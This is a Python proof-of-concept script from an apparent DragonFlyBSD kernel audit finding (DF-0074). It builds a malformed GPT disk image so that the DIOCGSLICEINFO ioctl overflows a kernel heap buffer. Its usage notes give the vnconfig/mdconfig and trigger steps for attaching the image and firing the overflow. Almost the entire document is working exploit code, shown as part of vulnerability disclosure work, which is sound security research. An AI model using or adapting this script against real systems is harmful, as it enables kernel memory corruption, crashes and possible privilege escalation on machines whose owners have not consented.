DragonFlyBSD Kernel Audit
DF-0074 / build_gpt.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-0074 PoC - build a GPT disk image that overflows DIOCGSLICEINFO.

Creates a minimal valid GPT with hdr_entries=128.  When DragonFlyBSD probes
this disk, subr_diskgpt.c sets dss_nslices = BASE_SLICE + 128 = 130.
Issuing DIOCGSLICEINFO then bcopy's 130 slices worth of data into a buffer
sized for only 16 slices -> kernel heap overflow (subr_diskslice.c:557).

Usage:  python3 build_gpt.py overflow.img
Then:   vnconfig -c vnd0 overflow.img   (or mdconfig -a -t vnode -f overflow.img)
        ./trigger /dev/vnd0s1
"""
import struct, sys, binascii

SECTOR = 512

def le32(x): return struct.pack('<I', x)
def le64(x): return struct.pack('<Q', x)
def le16(x): return struct.pack('<H', x)

def crc32(data):
    return binascii.crc32(data) & 0xffffffff

def gpt_entry(type_guid=b'\x00'*16, guid=b'\x00'*16, lba_start=0, lba_end=0,
              attrs=0, name=''):
    name_utf16 = name.encode('utf-16-le')[:71].ljust(72, b'\x00')
    return (type_guid.ljust(16,b'\x00')[:16] +
            guid.ljust(16,b'\x00')[:16] +
            le64(lba_start) + le64(lba_end) + le64(attrs) + name_utf16)

ENTRIES = 128   # must be >= 15 for dss_nslices > MAX_SLICES(16)
ENT_SZ  = 128

def main():
    out = sys.argv[1] if len(sys.argv) > 1 else 'overflow.img'
    total_sectors = 2048   # small image
    # --- Protective MBR (sector 0) ---
    mbr = bytearray(SECTOR)
    mbr[440:446] = b'\x00'*6                 # disk signature
    mbr[446] = 0x00                           # partition status
    mbr[450] = 0xEE                           # GPT protective type
    mbr[454:458] = le32(1)                    # start LBA
    mbr[458:462] = le32(total_sectors - 1)    # size
    mbr[510:512] = b'\x55\xaa'

    # --- GPT header (sector 1) ---
    entry_array_lba = 2
    entry_array_bytes = ENTRIES * ENT_SZ
    entry_array_sectors = (entry_array_bytes + SECTOR - 1) // SECTOR
    first_usable = 2 + entry_array_sectors
    last_usable = total_sectors - entry_array_sectors - 2

    hdr = bytearray(92)
    hdr[0:8]   = b'EFI PART'                   # signature
    hdr[8:12]  = le32(0x00010000)              # revision 1.0
    hdr[12:16] = le32(92)                      # header size
    # hdr_crc_self at 16:20 = 0 for now
    hdr[20:24] = le32(0)                       # reserved
    hdr[24:32] = le64(1)                       # my_lba
    hdr[32:40] = le64(total_sectors - 1)       # alternate_lba
    hdr[40:48] = le64(first_usable)            # first_usable_lba
    hdr[48:56] = le64(last_usable)             # last_usable_lba
    hdr[56:72] = (b'\xde\xbb\x86\x8e\x79\x11\xd3\x4b'
                  b'\x9f\x86\xf0\x81\xe0\x16\x30' b'\x00')  # disk guid (arbitrary)
    hdr[72:88] = le64(entry_array_lba) + le64(0)  # partition_entry_lba (pad to 16)
    hdr[72:80] = le64(entry_array_lba)
    hdr[80:84] = le32(ENTRIES)                 # number of partition entries
    hdr[84:88] = le32(ENT_SZ)                  # size of each entry
    # entry_array_crc at 88:92 computed below
    hdr[88:92] = le32(0)

    # --- Partition entries (sectors 2..) ---
    entries = bytearray()
    # Make a few entries with non-nil type so gpt_setslice populates them
    type_guid = b'\xa2\xa0\xd0\xeb\xe5\xb9\x33\x44\x87\xc0\x68\xb6\xb7\x1e\x05\x2d'
    for i in range(ENTRIES):
        if i < 17:   # 17 entries -> dss_nslices = 2+17 = 19, enough to overflow
            entries += gpt_entry(type_guid=type_guid, guid=b'\x01'*16,
                                 lba_start=first_usable + i*10,
                                 lba_end=first_usable + i*10 + 9,
                                 name='part%d' % i)
        else:
            entries += gpt_entry()  # nil entries still counted in dss_nslices

    # CRC of entry array
    entry_crc = crc32(bytes(entries))
    hdr[88:92] = le32(entry_crc)
    # CRC of header
    hdr[16:20] = le32(0)
    hdr_crc = crc32(bytes(hdr))
    hdr[16:20] = le32(hdr_crc)

    # --- Assemble image ---
    img = bytearray(SECTOR * total_sectors)
    img[0:SECTOR] = mbr
    img[SECTOR:SECTOR+92] = hdr
    img[2*SECTOR:2*SECTOR+len(entries)] = entries

    with open(out, 'wb') as f:
        f.write(img)
    print(f'Wrote {out}: {len(img)} bytes, {ENTRIES} GPT entries.')
    print('Attach and issue DIOCGSLICEINFO to trigger the heap overflow.')

if __name__ == '__main__':
    main()